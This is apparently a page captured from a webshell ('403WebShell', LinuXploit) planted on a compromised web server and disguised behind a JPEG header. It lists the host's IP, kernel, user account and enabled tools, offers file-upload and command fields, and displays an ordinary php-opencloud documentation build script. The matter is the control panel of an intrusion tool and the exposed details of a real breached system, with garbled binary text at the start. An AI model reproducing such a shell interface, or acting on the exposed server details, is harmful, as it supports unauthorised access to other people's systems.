����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.14.248.120
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/docs/generate.sh
#!/bin/sh

# Script to be used by Travis CI builds to generate the php-opencloud SDK API
# reference and publish it to the gh-pages branch of the rackerlabs/php-opencloud
# repository.

SOURCE_DIR=lib
WORK_DIR=build/api
API_DOCS_DIR=docs/api
REPO_REMOTE_URL=https://$GH_TOKEN@github.com/rackspace/php-opencloud

# We want our generated API reference to reflect what is 
# on the master branch. So if we aren't currently on
# the master branch, or we aren't part of a PR targetted
# to the master branch, do nothing.
if [ "$TRAVIS_BRANCH" != "master" ]; then
  exit 0
fi

# Generate the API references
./vendor/bin/apigen generate \
    --source $SOURCE_DIR \
    --destination $WORK_DIR

# Switch the branch to gh-pages
git checkout gh-pages
git pull --commit $REPO_REMOTE_URL gh-pages

if [ $? -ne 0 ]; then
  exit 1
fi

# Commit the generated API references
rm -rf $API_DOCS_DIR
mv $WORK_DIR $API_DOCS_DIR
git add -f $API_DOCS_DIR
git commit -m "Re-generated API documentation"

# Push to the remote gh-pages branch so
# changes show up on php-opencloud.com
git push $REPO_REMOTE_URL gh-pages

git checkout master

Youez - 2016 - github.com/yon3zu
LinuXploit